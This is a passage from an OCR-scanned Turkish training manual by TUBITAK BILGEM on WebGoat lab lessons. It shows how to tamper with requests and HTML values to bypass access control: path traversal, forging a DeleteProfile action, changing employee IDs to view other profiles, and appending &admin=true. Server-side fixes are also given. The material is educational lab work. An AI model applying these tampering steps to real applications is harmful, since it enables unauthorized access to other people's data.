olan value="" 6zelligi ile tanimaktadir. Biz ise dosya se¢cmesine yardim eden value="""yu
farkh dizinlerdeki bir dosyayi gosterecek sekilde manipule ettik. Bdylece sistem, value'su

degistirilmis dosyayi bulmak igin bizim ekledigimiz linki kullandi ve dosyayi ekrana yansitti.

Gelelim WebScarab ile bu dersi nasil tamamlayacagimiza. Once ders ekranindaki sag Ust
késede bulunan Restart Lesson butonuna tiklayarak dersi sifirlayin. Sonra WebScarab
yazihmina gelin. Webscarab'in Intercept sekmesine tiklayin ve tikladiginiz sekmenin hemen
asagisindaki Intercept Requests kutucuguna tick koyun. Boylece Webgoat uygulama
arayUzu ile sanal sunucunuzun arasina girmis olursunuz ve yaptiginiz talepleri WebScarab
araciligiyla gérintileyebiliyor olursunuz. Biraz asagidaki Intercept Responses kutucugundaki
tick'i de eger varsa kaldirin. Clinki sunucundan gelen yanitlarla isimiz olmayacak. Bu
islemleri yaptiktan sonra ders ekraninda listelenen html dosya isimlerinden birini segin

ve View File butonuna tiklayin. Ekrana popup seklinde WebScarab'in bir penceresi

gelecektir. Bu pencerede asagida da gorebileceginiz Gizere sectiginiz yazinin value degerini
go6rayor olacaksiniz.

-~

Edit Request

Intercept requests : Intercept responses: [ ]

fParsed rRaw |

Method URL Version
[FosT | |htte://localhost: 8080/ Web Goat/attack?Screen=>57 &menu=2 00 | [HTTP/L.1]
Header Value
Host localhost: 8080 =
Usar-Agent Mozilla/5.0 (<11, Ubunty; Linux x86_84, nv37.0) Gecko/20100101 Firefox/37.0
Arcept text/hml, application/xhtml+ xml, application/xml;g=0.9,*/*;q0=0.8 =|| Insert
Accept-Language  |en-LU5,en;g=0.5 1
Accept-Encoding  |ozip, deflate Delele
Referer http://localhost: 8080 /WebGoat /attack?Screen=57&menu=200&Restart=57 =1
URLEncoded r Text ex
( Variable Value
File UncheckedEmail. himl
SUBMIT [View File
Insert
Delete
Accept changes I Cancel changes Abort request | ‘ Cancel ALL intercepts

Yukaridaki resimde de gorebilecegdiniz segilen dosyanin value 6zelliginin degerine gift tiklayin
ve UncheckedEmail.html igerigini silin ve akabinde goéreceli linki koyun. Sonra pencerenin

TUBITAK — BILGEM - Siber Giivenlik Enstitlsi 51



TASNIF DISI Web Uygulamalarini Ele Ge¢irme Egitimi: WEBGOAT

asagisindaki Accept Changes butonuna tiklayin. Bdylece dersi basariyla tamamlamis
olacaksiniz.

Bu dersin amaci bir sitede bizlere sunulan linkler ve géturdukleri yerler haricindeki sunulmayan
yerlere de eder 6nlem alinmamissa gidilebilecegini 6gretmektir. Dersin ¢6zUmuU belki sadece
JSP dizin yapisini esas aliyor, fakat bu durum glivenlik agiginin sadece JSP'ye mahsus oldugu
anlamina gelmiyor. Diger web programlama dili ile programlanmig web siteleri de eger dosya
izinleri ile dnlem alinmamigsa tipki JSP'li bu web uygulamasindaki gibi dosyanin istenmeyen
bir kullanici tarafindan gériintilenebilmesine neden olabilmektedir.
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DERS 6 - ROLE BASED ACCESS CONTROL > STAGE 1

Access Control Flaws unitesinin LAB: Role Based Access Control(Role Dayali Erisim
Kontrolii) dersinin bir alt bashdi olan Stage 1: Bypass Business Layer Access Control dersinde
bir iscinin login olunabilen bir sistem Uzerinde normalde yetkisi olmadigi halde yoénetici isini
gerceklestirebilmesinden bahsedilecektir.

Dersin Hedefi

Hedefiniz ders ekranindaki sistemin erisim kontrolu zayifligindan faydalanarak Delete iglevini
kullanmaktir. Sistem kullanicilarinin oturum agma sifreleri ilk adlarinin kigik harfli bir sekilde
yazilisindan olusur(Mesela Tom kullanicisi i¢in oturum sifresi tom'dur).

Aciklamalar
Butonlar HTML sayfalarinda iki farkli kodlama ile dahil edilebilmektedir. Bunlar;

1 <input type="submit" name="degisken" value="Tikla">

ve

1 <button type="button" name="degisken">Tikla</button>

seklindedir. ikisi de ayni igleve ait olan, yani form'lari submit'leme islevini yerine getiren bir

buton ekrana verirler.
Tikla

Butonlara deginilmesinin nedeni buton ekleme etiketinin attribute'u(6zelligi) olan value="" yu
bu derste kullanacak olmamizdir. Value 6zelliginin i¢erisindeki veri form génderilirken name
Ozelliginin degeri olan degisken'e atanir(degisken="Tikla"). Sunucu bu degisken araciligiyla
value Ozelligindeki degeri edinir. Edindigi bu degere gore bazi kararlar verip bu kararlari
icraata dénustiirir ve istemciye sonucu déndiiriir. iste bu dersin kilit noktasi da budur.
Sunucunun karar verme melekesini kendi emellerimiz dogrultusunda yénlendirecegiz. Bunu
value="" 6zelligi icerisine hard code'lama ile, yani elle yeni bir deger yazarak yapariz.
Bdylece yetkimiz olmayan bir islevi gerceklestirmis oluruz.

Dersin Coziimi

Dersi basariyla tamamlayabilmek icin yetkisi en kisith grup olan employee grubuna ait bir
personeli ders ekranindaki sistemden segmelisiniz. Diyelim ki Tom Cat kullanicisini segtiniz.
Sifre olarak isminin kuguk harfli halini giriniz: tom. Sistemde oturum agtiktan sonra ekrana
gelen yeni araylizdeki butonlardan birine sag tiklayiniz ve ardindan Inspect Element(Ogeyi
Denetle) segenegdine tiklayiniz. ViewProfile butonuna sag tikladiginizi varsayalim. Agilan Web
geligtiricisi aracindaki secili satir sag tikladiginiz nesneyi(butonu) goésterecektir. Bu
satirdaki value="" 6zelliginin degeri gordugunuz uzere ViewProfile'dir.
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[~ £} Inspector > Console @ Debugger [# style Editor | @ Performance T MNetwork
< nArea - divitlesson_wrapper - div.lesson_workspace - Form#form1 ~ table - thbody tr td m
<Tooay>
<tr>
<td=</td>
<td>
<input type="submit" value="SearchStafg"gmme="action"></input>

<br></br>

<input type="submit" value="ViewProfile" name="action"=</input=

<br></br>

<br></br>

<input type="submit" value="Logout" name="action"></input>
</td>

</tr>
=t hadue

Simdi bir distnin. Sunucu tarafindan karar verme ve icraata dékme sirecininin bas aktori
value attribute'unun degeri olduguna gére var olan bir butonun value'sunu degistirsek acaba
sunucu nasil davranirdi dersiniz? Bu durum uygulamanin kaynak kodunun igleyisine gore
degisir. Eger uygulamanin kaynak kodunun yapacagi isleve karar vermek i¢in kullandigi value
attribute'unun alabilecegi degerlerden birini tahmin edebilirsek ve yetki i¢cin glvenlik dnlemi
alinmamissa tahmin ettigimiz islevi kullanabilme ihtimali dogmus olur. Bu derste
bizden Delete iglevini(fonksiyonunu) yetkisi olmayan bir kullanicinin kullanmasi istenmektedir.
Employee grubundaki Tom kullanicisinin grubu geregi boyle bir yetkisi yoktur. Zaten oturum
actiginizda gérduguniz Gzere Delete diye bir buton ekrana gelmeyecektir. Simdi ekrana gelen
listBox'daki Tom Cat kullanicisini segelim ve butonlardan biri olan ViewProfile'in value
Ozelliginin degerini daha 6nce actiginiz web gelistiricisi aracindan ViewProfile'a ¢ift tiklayarak
silin ve sonra sildiginizin yerine DeleteProfile yazin. Neden DeleteProfile derseniz bu bir
tahmindir. Eger ViewProfile diye bir deger varsa o zaman DeleteProfile diye bir sey de olabilir
diye dusinmelisiniz. Sonugta DeleteProfile'l value'ya yazdiktan ve enter'ladiktan sonra
gOreceginiz Uzere ekrandaki ViewProfile butonunun etiketi DeleteProfile sekline donecektir.
Degisen butona bir kez tiklayin. Dersi basariyla tamamladiginiza dair bildirimleri gériyor
olacaksiniz. Boylece Stage(Asama) 1 bitti.

Burada faydalandigimiz guivenlik a¢igi yetkilerin sunucu tarafli degil de istemci tarafli alinmig
olmasindan kaynaklanmaktadir. Yani personellerin erigsim kontrolleri kaynak kodda tam
anlamiyla tanimlanmadidi icin ve gorsel planda buton eksiltip arttirma ile erigsim kontrolu
saglandi sanildigi icin bu aciktan kotu niyetli personel deneme yanima ydntemiyle
faydalanabilir ve yetkisini agabilir.
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DERS 7 - ROLE BASED ACCESS CONTROL > STAGE 2

Access Control Flaws unitesinin LAB: Role Based Access Control(Role Dayali Erisim
Kontrolii) dersinin ikinci alt basligi olan Stage 2: Add Business Layer Access Control dersinde
Stage 1'deki gulvenlik acgiginin kapatilmasindan ve bunun Uzerine yetki ihlali yapma
denemelerinin bosa ¢ikisindan bahsedilecektir.

Dersin Hedefi

Delete iglevine olan yetkisiz erisimi engellemek icin bir dizeltme uygulayin. Duzeltme
uygulayabilmek icin WebGoat kaynak kodunu degistirmek zorunda kalacaksiniz. Bunu
yaptiniz mi hemen ardindan stage 1'deki yetkisiz erisim tesebblsinl tekrarlayiniz
ve DeleteProfile anahtar kelimesinin olmasi gerektigi gibi yetkisiz personel igin artik kullanima
kapal olugunu gozlemleyiniz.

Aciklamalar
Bu bolum WebGoat'un gelistirici versiyonunu kullananlar icin iglevseldir. Standard versiyonunu
kullanan bizler igin islevsel degildir.

Dersin Coziimi

Bu dersi WebGoat'un standard versiyonunu kullanan bizler tamamlayamayacagiz. Fakat yine
de ¢6zimden bahsedelim. Hatirlarsaniz Stage 1'de sunucu tarafli degil de istemci tarafli bir
erisim kontroll yer almaktaydi. Yani buton eksiltip arttirma ile erisim kontrolli saglanmaktaydi.
Stage 1'deki yetki ihlalinin dnlne gegebilmek icin erisim kontrollintin sunucu tarafina tagsinmasi
gerekir. Simdi ¢6zime gecelim. Bulunmakta oldugunuz dersin kaynak kodundaki

1 //***************CODE HERE* * *x Kk kkkkkkkkxkkkkkxhkkkdx
4 //*************************************************

kismina asagidaki kod blogunu yerlegtiriniz:

1 //***************CODE HERE* % % % % %k &k %k &k k& ke ok ok kk ok kk k% x

2 if (!isAuthorized (s, getUserId(s), requestedActionName))
3 {

4 throw new UnauthorizedException () ;

5 )

6 //*************************************************
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Bu kod blogundaki isAuthorized() fonksiyonu talepte bulunan personelin bulundugu talebi
gergeklegtirme izni var mi yok muyu kontrol eder. getUserld() fonksiyonu personelin(staff'in)
id'sini dondurdr. requestedActionName ise talep edilen islemi(mesela DeleteProfile') tutar.
Egder personelin talep ettigi isleme vyetkisi varsa isAuthorized() fonksiyonu 1 sonucunu
dondurdr. Eger personelin yetkisi yoksa isAuthorized() fonksiyonu 0 sonucunu dondurdr ve if
bloguna bdylelikle girilerek bir hata firlatiimis olur. Bu fonksiyon nereden geldi diye
distnuyorsaniz halihazirda WebGoat ile beraber gelen bir fonksiyon oldugunu belirtmis
olayim. Buradan c¢ikarilacak sonu¢ sudur: Erigsim kontroliiniin sunucu tarafli
yapilmasi guvenligi saglam temele oturtmak demektir. Bu kod blogunu kaynak koddaki ilgili
yere yerlestirdikten sonra Stage 1'deki gibi DeleteProfile ile yetki ihlaline tesebbls ettiginizde
bu sefer 6nceki gibi saldiridan umulan sonug¢ gerceklesmeyecektir. Bu basarisiz tesebblisten
sonra ders, gelistirici versiyonunu kullananlar i¢in basariyla tamamlanmis olacaktir.
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DERS 8 - ROLE BASED ACCESS CONTROL > STAGE 3

Access Control Flaws unitesinin LAB: Role Based Access Control(Role Dayali Erisim
Kontrolii) dersinin  Gguncl alt bash@ olan Stage 3: Breaking Data Layer Access
Control dersinde bir personelin sadece kendi profilini gérintileyebilme yetkisi varken basgka
personelin profilini de yetkisiz bir sekilde goruntuleyebiliyor olmasi ele alinacaktir.

Dersin Hedefi

Hedefiniz personel Tom olarak kendi profiliniz disinda baska personelin profilini de
goruntileyebilmektir, yani erisim kontroli zayifigindan faydalanmaktir. Yetkisiz olarak yapilan
bu gérintilemeyi gerceklestiriniz.

Aciklamalar

HTML sayfalarinda sunucu ile kullanici etkilesimli bazi noktalar vardir. Bunlardan birisi form
etiketi blogudur. Karsilasmissinizdir, web sayfalarinda bazen form'lar yer alir. Kullanici formu
doldurur ve gondermek igin bir butona tiklar. Butona tiklayarak girilen verileri sunucuya
géndermis olur. isin arkaplaninda forma girilen veriler sistemimize inen degiskenlere eklenir.
Bu degiskenler butonun tiklanmasi ile sunucuya gider ve sunucu bu degiskenleri kullanir.
Fakat, bazen bazi degiskenler hazir vaziyette, yani bir degere sahip olarak istemciye gelirler.
Biz doldurmayiz. Bu durum genelde kod bazinda goérilirken araylzde gériinmez. Bu hazir
vaziyette gelen degiskenleri kaynak kodu goruntlle deyip elimizle manipule edersek ve ilgili
buton tiklamasi ile sunucuya gdénderirsek bir tlr saldiri gergeklestirmis oluruz. Bu derste bu
methodla bir yetki agma tesebbusinde, yani bir yetki ihlalinde bulunacagiz. Ne dedigimi, neyi
kastettigimi Dersin Coziimii bagligl altinda pratik olarak uygulayarak daha iyi anlayacaksiniz.

Son olarak derste kullanacagimiz html kodlari olan <select> ve <option> iligkisinden
bahsedelim. <select> etiketi <option> etiketinin parent'idir. Yani <select>, <option>'I barindirir.
Bunu bir 6rnek tzerinde inceleyelim $oyle ki :

1 <select name="degisken">

2 <option value="tom">Tom Cat</option>
3 <option value="tom">Tom Cat</option>
4 <optionvalue="tom">Tom Cat</option>
5 </select>

Yukaridaki kod asagidaki gibi bir comboBox gosterilmesini saglar:

comboBox'tan segeceginiz bir personel'in value'su degisken adli degigkene atanir. Mesela
Tom Cat'i sectiniz diyelim. Form'u tetikleyecek bir butona tiklanildiginda degisken, tuttugu
deger ile beraber sunucuya gidecektir(degisken = tom).
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Dersin Coziimii

Ders ekranindaki sistemden Tom kullanicisini secin ve sifre olarak da kiguk harfler ile tom
yazisini girin. Boylelikle kontrol paneline girmis olursunuz. Normal bir personel kontrol paneline
girdiginde ekrandaki butonlardan mesela ViewProfile butonuna tiklayip profiline gidebilir. Biz
bu derste bu buton ve génderdigi degisken dederini kullanarak baska bir profil gérintilemeye
calisacagiz. Simdi agilan kontrol panelinde yer alan staff list'e yonelin. Géreceginiz Gizere o
listede sadece personelin kendi ismi yer almaktadir. Buradan anlayacaginiz tzere personel
normalde sadece listede yer alan kisi Uzerinde, yani kendi Gzerinde ViewProfile islevini
gerceklestirebilir. Biraz sorunlu bir tasarim izlenimi veriyor, ¢lnkil bu listeye ne gerek var
diyebilirsiniz. Fakat eger [admin] grubundaki bir kullanici ile kontrol paneline girerseniz bu
personel listesinin ne iglevi var oldugunu o zaman anlarsiniz. Mesela yonetici John Wayne ile
oturum actiginizda personel listesinde tim personelin siralandigini gorirstintz. Boylelikle
yoénetici John, tim personelinin bilgisine erigebilme imkanina sahip olur. Bu durumda
diyebilirsiniz ki "o zaman sadece yoneticilerde personel listesi gorinsin, geri kalanda
gOrinmesin". Bu biraz tasarimla alakali bir durumdur. Tasarlayanlar bdyle tasarlamislar deyip
keselim ve ders ¢cozimiine dénelim. Tom Cat olarak oturum agtiginizda staff's list'teki(personel
listesindeki) Tom Cat (employee) kisisine sad tiklayin ve Inspect Element(Odeyi
Denetle) secenegine tiklayin. Acilan web gelistiricisi ara¢ kutusunda asagida da
gorebilecediniz Uzere bir satir secili vaziyette gelecektir.

[ > Console @ Debugger [¥# style Editor | @ Performance T Network
€ _wrapper - div.lesson_workspace - form#form1 table ~ tbody tr td label select m I

<ldote CETIpduuLng="23 DOTUOET="10 WIOTI="o0%s">
<tbody=>
<tr>
<td>
<label>
<select size="11" name="employee id">
! <zpption value="105" selected=""></option>

</select>

<td></td>
</tr>
< /thnrus

Secili vaziyetteki satir sag tikladiginiz nesneye ait kodu ifade eder(Kisaltiimis kodun tam
halini secili satirin bagindaki Giggene basarak gorebilirsiniz). <option> etiketi <select>
etiketinin arasinda yer alan bir elemani temsil eder. O eleman ise Tom Cat (employee)'dir.
Nesnenin dediskeni, employee_id, ebeveyn etiket olan <select>'te yer alir. Bu degiskene
atanan deger ise segili satirdaki value'nun degeridir: 105. Yani demek ki 105

degeri employee_id degiskenine eklenip sunucuya gidiyor ve sunucudan 105 degerine uygun
profil bilgileri bize gdnderiliyor. O zaman 105 yerine mesela 104 yazarsak bagka profil bilgisi
gelir mi dersiniz? Eger goruntileme yetkisi i¢in sunucu tarafli bir 6nlem alinmamissa, evet
baska profil bilgisi gelir. Hatirlarsaniz A¢iklamalar bagliginda hazir vaziyette gelen
degiskenlerden bahsetmistik. iste employee_id odur. Simdi web gelistiricisi

aracindan employee_id'nin degerini depolayan value 6zelliginin degerine ¢ift tiklayin ve 105
degerini silip yerine 104 degerini yazin ve enter'layin. Ardindan ders ekranina yonelin

ve ViewProfile butonuna tiklayin. Boylece elle girilen 104 verisi sunucuya gider ve
sunucudan 104 nolu profil bilgisi, yani baskasinin profil bilgisi déndurtlmis olur. Boylelikle
dersi basariyla tamamlamis olursunuz.
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* You have completed Stage 3: Bypass Data Layer Access Control.
* Welcome to Stage 4: Add Data Layer Access Control

+“ Goat Hills Financial

& Human Resources

=n Welcome Back Tom - View Profile Page -
[ ol
First Name: Eric Last Name: Walker
Street: 1160 Prescott Rd City/State: New York, NY
Phone: 410-887-1193  Start Date: 12152005
S5N: 445-66-3565 Salary: 13000
Credit Card: NA Credit Card Limit: 0
Comments: Late. Always needs help. Too intern-ish.
Disciplinary Explanation: Disc. Dates: 101013

Bothering Larry about webgoat problems
Manager: 107

ListStaff || EditProfile Logout

Normalde diger personellerin bilgilerine sadece [admin] grubundaki yoneticiler erisebilir. Fakat
yukaridaki resimde de gorebileceginiz Uzere personel Tom'in profilinde katakulli yollarla
personel Eric'in bilgileri gérintilenmektedir.

NOT: Web geligtiricisi araci uUzerinden degisken degerini manipule edebildigimiz gibi ayni
islemi WebScarab ile de yapabiliriz. Bundan dnceki derslerde(bkz. Ders 2 - General > Hittp
Basics) bu tip manipulasyonlarin WebScarab ile nasil gergeklestirildiginden bahsedildigi icin
burada deginilmemigtir.
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DERS 9 - ROLE BASED ACCESS CONTROL > STAGE 4

Access Control Flaws unitesinin LAB: Role Based Access Control(Role Dayali Erisim
Kontrolii) dersinin dérdiincu alt basligi olan Stage 4: Add Data Layer Access Control dersinde
Stage 3'deki glvenlik acgiginin kapatilmasindan ve bunun Uzerine yetki ihlali yapma
denemelerinin bosa ¢ikisindan bahsedilecektir.

Dersin Hedefi

ViewProfile islevi i¢in yetkisiz erisimi engellemek adina bir dizeltme uygulayin. Duzeltme
uygulayabilmek icin WebGoat kaynak kodunu degistirmek zorunda kalacaksiniz. Bunu
yaptiniz mi hemen ardindan stage 3'deki yetkisiz erisim tesebblsinl tekrarlayiniz
ve ViewProfile butonunun olmasi gerektigi gibi sadece personelin yetki sinirlari dahilinde
calistigini gozlemleyiniz.

Aciklamalar
Bu bolum WebGoat'un gelistirici versiyonunu kullananlar icin iglevseldir. Standard versiyonunu
kullanan bizler igin islevsel degildir.

Dersin Coziimi

Bu dersi WebGoat'un standard versiyonunu kullanan bizler tamamlayamayacagiz. Fakat yine
de ¢6zimden bahsedilecektir. Hatirlarsaniz Stage 3'de bir personel yetkisi olmadigi halde
baska personelin profilini kendi kontrol panelinden gérintilebiliyordu. Yani kontrol panelindeki
personel listesinde isim eksiltip arttirma ile erigsim kontroli saglanmaktaydi. Bu sorunlu yapidan
dolayil kaynaklanan Stage 3'deki yetki ihlallerinin 6éniine gecebilmek igin erisim kontroliinin
sunucu tarafina tasinmasi gerekir. Simdi ¢ézime gegelim. Bulunmakta oldugunuz dersin
kaynak kodundaki

1 //***************CODE HERE* * *x Kk k sk kxkkkkkxkkkkkxrkhkkkkx
4 //*************************************************

kismina asagidaki kod blogunu yerlegtiriniz:

1 //***************CODE HERE*************************
2 if (!isAuthorized(s, getUserId(s), requestedActionName)) {
3 throw new UnauthorizedException () ;
}
4
if ('action.isAuthorizedForEmployee (s, getUserId(s),
5 s.getParser () .getIntParameter (RoleBasedAccessControl .EMPLOYEE ID, 0))) {
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6 throw new UnauthorizedException () ;

7 }

//*************************************************

isAuthorized() methodu ile is¢i grubundaki personeller yoneticilerin kullanabildikleri Delete gibi
islevleri gerceklestirebilmekten alikonulmus
olurlar. action.isAuthorizedForEmployee() methodu ile de is¢ci grubundaki personelin
halihazirda var olan ve kullanabildikleri ViewProfile gibi islevlerin kéti yonde kullanimi
engellenir. Buna gundelik hayattan bir drnek vermek gerekirse mesela farkli farkli maas alan
bir sirketteki personellerin sirket politikasi geregi aldiklari maas miktarini birbirlerine
soOylemiyorlarken birisi kendi kontrol panelinden ViewProfile gibi bir islevi kullanarak is
arkadasinin maas miktarini 6grenebilir ve sirket icerisinde huzursuzluk ve fitne ¢ikarabilir. Bu
tip durumlara sebebiyet vermemek icin glvenlik istemci tarafinda html nesnesi eksiltip
arttirarak saglanmamali - zaten saglanamaz. Bunun yerine sunucu tarafinda kaynak kod
Uzerinde kontroller ile guvenlik saglanmalidir.
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DERS 10 - ACCESS CONTROL FLAWS > REMOTE ADMIN ACCESS

Access Control Flaws unitesinin dordincu dersi olan Remote Admin Access(Uzaktan Admin
Erisimi) dersinde admin i¢cin hazirlanmis sayfalarin admin olmayan bir kisi tarafindan nasil
gorintilenebilecegine dair bir oOrnekten bahsedilecektir ve ayrica bu acigin nasil
kapatilabilecedinden, bu tip durumlarla karsilasiimamasi icin yapilmasi gerekenlerden
bahsedilecektir.

Dersin Hedefi
Admin'lerin erisebildigi ve normal kullanicilarin erisemedigi idari sayfalardan birine normal
kullanici olarak ulagin.

Aciklamalar

Uygulamalar siklikla ayricalikli kullanicilarin erisebildigi, fakat normal kullanicilarin erisemedigi
bir idari arayluze sahip olurlar. Ayni sekilde uygulama sunuculari da bir admin araytzine
sikhkla sahip olurlar. WebGoat uygulamasi bunlardan biridir. Bu web uygulamasinda admin
grubundaki kullanicilarin erigebilecedi ve normal kullanicilarin erisemeyecegdi bazi sayfalar
vardir. Dikkat edin, "normal kullanicilarin erisemeyecegi" dendi. Eger uygulama kusurlu bir
sekilde gelistiriimisse - bu dersteki érnekte oldugu gibi - 0 zaman normal kullanicilar da bu idari
sayfalara erigebilir.

Bu dersin odak noktasi soldaki sirali derslerin oldugu béliumin en asagisindan bir dnceki link
olan Admin Functions linkidir.  Linkin yerini asagidaki resimden de gorebilirsiniz.

Remote Admin Access

Solution Videos Restart this Lesson

Try to access the administrative interface for WebGoat. You may also try to access the
administrative interface for Tomcat. The Tomcat admin interface can be accessed via a URL
(/admin) and will not count towards the completion of this lesson.

* Congratulations. You have successfully completed this lesson.

OWASP Foundation | Project WebGoat | Report Bug

ng
ent Flggys

Admin Functions
Challenge
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Admin Functions'a tikladiginizda normal kullanici olarak erisebileceginiz sayfalari
goruntilersiniz. O da Report Card'tan ibarettir. Dersin Coziimii'nde Admin Functions basligi
altinda su an goériinmeyen idari sayfalari nasil gértntileyebileceginizden bahsedilecektir.

Dersin Coziimii

Oncelikle WebGoat uygulama arayiiziinde solda sirali olan derslerin en agagilarinda yer
alan Admin Functions linkine bir kez tiklayin. Goérebileceginiz Gzere Admin Functions altinda
sadece bir sayfayi, yani sadece Report Card'l goriintileyebiliyorsunuz. Simdi sakh olan diger
sayfalar goruntuleyelim. Bulundugunuz ders ekraninin linkine bir parametre ve deger
eklenecektir. Bu bize admin sayfalarini gérintileyebilme imkani verecektir. O parametre ve
degeri ise sudur:admin=true. Bunu adres c¢ubugundaki linkin sonuna su sekilde
ekleyiniz: &admin=true . Asagida buna bir 6rnek verilmistir. (Bu ornegi kopyala/yapigtir ile
kullanmayiniz. Clnkld screen parametresi enviroment'a gore rastgele deder almaktadir.
Dolayisiyla linkin beni goéturdugu yer ile sizi goturecedi yer farkl olabilmektedir).:

1 http://localhost:8080/WebGoat/attack?Screen=10&menu=200&admin=true

Yukaridaki link gibi kendi ders ekrani linkinizin sonuna &admin=true ekleyip enter'ladiktan
sonra tekrar Admin Functions linkine tiklayiniz. Asagidaki resimden de gorebileceginiz Gzere
yeni sayfalar ekrana gelecektir.
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Choose another languat

” OWASP WebGoat v5.4

Introduction
General

ccess Control Flaws
AJAX Security
Authentication Flaws
Buffer Overflows
Code Quality
Concurrency
Cross-Site Scripting (XSS)
Improper Error Handling
Injection Flaws
Denial of Service
Insecure Communication
Insecure Configuration
Insecure Storage

Malicious Execution
Parameter Tampering
Session Management Flaws

Web Services

Admin Functions
Report Card
v

v Product Information

Adhoc Query

Challenge

User Information

Simdi yeni gorintllenen sayfa linklerinden User Information'a sag tiklayin ve Baglanti
Adresini Kopyala'ya(Copy Link Location'a) tiklayin. Ardindan adres gubugunu temizleyin ve
sag tik yapip yapistir deyin. Son olarak yapistirdiginiz linkin sonuna &admin=true ekleyin ve
adresi enter'layin. Boylelikle dersi tamamlamis olursunuz.

Peki tim bu slre¢ bize ne 6gretti? Admin sayfalarina erisimin parametre eksiltip arttirilarak
yapiimasinin bir glivenlik a¢igi oldugunu bize 6gretti. CUnku bizim yaptigimiz gibi iyi bir
tahminde gugcte olsa saldirgan bulunabilir ve idari sayfalara erigebilir. Bu glivenlik agigini
kapatmanin yollarindan bir tanesi Session(oturum) endeksli bir sayfa erisim kontrol{
saglamaktir. Yani oturum agmis kullanici eger admin'se o zaman o kullanici sayfayi
goruntuleyebilsin, degilse goruntileyemesin seklinde bir if - else kontroli saglanmalidir.
Ornegin idari bir sayfay kesfeden bir saldirgan sayfayi goriintiileme tesebbusiinde
bulundugunda asagidaki gibi bir kontrolle bloklanir:

1 if ($ SESSION['kullanici'] == "admin") {
2 // Idari sayfalarin kodlari
3 }
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4 else{

5 // Oturum Ac Ekrani

WebGoat uygulamasinda idari sayfalara oturum(session) endeksli bir sayfa erisim kontrolU
yoktur. Parametre endeksli bir sayfa erigim kontroll vardir. Dolayisiyla bu glvenlik agigindan
faydalanarak idari sayfalari bu derste gérintilemis olduk
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DERS 11 - AJAX SECURITY > SAME ORIGIN POLiCY PROTECTIiON

AJAX Security Unitesinin ilk dersi olan Same Origin Policy Protection(Ayni Kéken Koruma
Politikasi) dersinde ajax'in ne olduguna dair bazi bilgiler paylasilacak ve glvenlie bakan
yonune deginilecektir.

Dersin Hedefi

Bu ders Same Origin Policy'ilAyni  Koken Politikasini) konu edinmektedir.
XHR(XMLHttpRequest) yalnizca geldigi sunucuyla iletisime gecebilir. Geldigi sunucuya degil
de baska sunucuya XHR ile veri iletme tesebblstinde bulunun.

Aciklamalar

Web sayfalarinin tamamini yeniden yiklemeden sayfanin sadece belli bir kismini glincelleme
sanatina ve bu sekilde sunucuyla veri degistokusuna AJAX denir. AJAX yeni bir programlama
dili dedildir. Varolan standardlarin kullanimi igin yeni bir yoldur. Bunu acgilimindan da
anlayabilirsiniz. Acilimi Asynchronous Javascript And XML'dir. Ajax, ey-jeks seklinde okunur.
Tanimdan da anlayabilecediniz Uzere Ajax ile web sayfasinin tamamini yenilemeden sadece
ilgili kisminin yenilenmesini saglayabiliyoruz. Bu, web gelistiricilerin bir zamanlar rayasiydi.
Cunki o zamanlar sayfalar statikti ve bir linke tiklanildiginda yeni igerigin gelmesi i¢in tim
sayfanin yenilenmesi gerekiyordu. Fakat ginimizde bu, sart degil. AJAX'In kafanizda daha
somut bir hale gelebilmesi icin AJAX'I popller yapan firmaya deginelim: Google. Evet, Google
AJAX'I 2005'te Google Suggest hizmeti ile populer etmistir. Google Suggest, yani "Google
Oneri" hizmeti web araylizini dinamik kullanmak igin AJAX kullanmistir. Bilirsiniz, google
arama motoruna bi'seyler yazarken karsiniza bazi Oneriler siralanir. Hem de sayfa
yenilenmeksizin... Bu nasil oluyor diye hi¢ disinmuis miydinidz? Elbette AJAX ile. Bu hizmet
arkaplanda soyle ¢alismaktadir: Arama kutusuna bir seyler yazmaya basladiginiz an harfler -
Javascript kodlamasindaki XMLHttpRequest nesnesinin olusturdugu baglanti ile - Google
sunucusuna goénderilir ve buna karsilik Google sunucusu ise bir dneriler listesini kullaniciya
geri dondurir. iletisim isleyisi bundan ibarettir.

Ajax'in kilit noktasi olan XMLHttpRequest nesnesi sunucu ile sayfa yenilenmeksizin iletigsim
kurmaya yaramaktadir. Bu dersin Ajax olusunun nedeni Ajax igin varsayilan olarak sunulan
guvenlik kisittamasidir. Bu kisitlama sudur: Hangi sunucu ile AJAX baglantisi baslatiimigsa
sadece o sunucu ile veri degistokus edilebilir. Yani baglanti A sunucusu ile kurulmusken
veri degistokusunun B sunucusu ile yapilmasi varsayilan olarak engellenmistir. Bu sinirlama
guvenlik nedeniyle koyulmustur. Clnkl dusundn bir: Herhangi bir bankanin internet subesine
giris yaptiniz diyelim. AJAX ile de banka subesi ve bilgisayariniz arasinda veri degistokusu
yapiliyor olsun. Eder yukarida bahsedilen kisittama olmasaydi bir saldiri sonucu Ajax ile
gonderdigimiz veriler bankaya degil saldirganin bilgisayarina génderilebilirdi. Bu ise tam bir
kaos olurdu. Bu nedenle hangi sunucudan html dosyasi ¢gekilmigse, yani hangi sunucu ile AJAX
baglantisi kurulmus ise sadece o sunucu ile Ajax yoluyla veri degistokusu yapilabilir kisitlamasi
varsaylilan olarak konmustur.

Dersin Coziimi
Ders ekraninda gordigunuz icerigin agagisinda iki tane link vardir:
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Solution Videos Restart this Lesson

This exercise demonstrates the Same Origin Policy Protection. XHR requests can only be passed
back to the originating server. Attermnpts to pass data to a non-originating server will fail.

Entera URL:

Go!

Response:

Click here to try a Same Origin request: 1
lessonsfAjax/sameOrigin.jsp

Click here to try a Different Origin request:
http:ffwww.google.comy/search?g=aspect+security 2

ASPE GT)
! Application Security Experts

OWASP Foundation | Project WebGoat | Report Bug

Once 1 numarali linke, sonra 2 numarali linke tiklayiniz. ilk linke tikladiginizda "creating XHR
request for: lessons/Ajax/sameOrigin.jsp" diyecektir. Bu, AJAX'In kilit noktasi olan
XMLHttpRequest nesnesinin sameOrigin.jsp i¢in olusturuldugunu ifade eder. Sonra iki
numaral linke tikladiginizda "creating XHR request for:
http://www.google.com/search?q=aspect+security"  diyecektir.  Yani, o6nceki ile ayni
ekrandan bir XMLHttpRequest talebi olusturma ve farkl bir domain'e iletme tesebbusiinde
bulunmus oldunuz. Bu tesebbis AJAX'In guvenlik kisittamasina takilacaktir ve basarisizlikla
sonugclanacaktir. Bu basarisizlik sonucu dersi basariyla tamamlamis olacaksiniz.
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DERS 12 - AJAX SECURITY > DOM-BASED CROSS-SITE SCRIiPTING

AJAX Security unitesinin ikinci dersi olan DOM-Based cross-site scripting(DOM Temelli Siteler
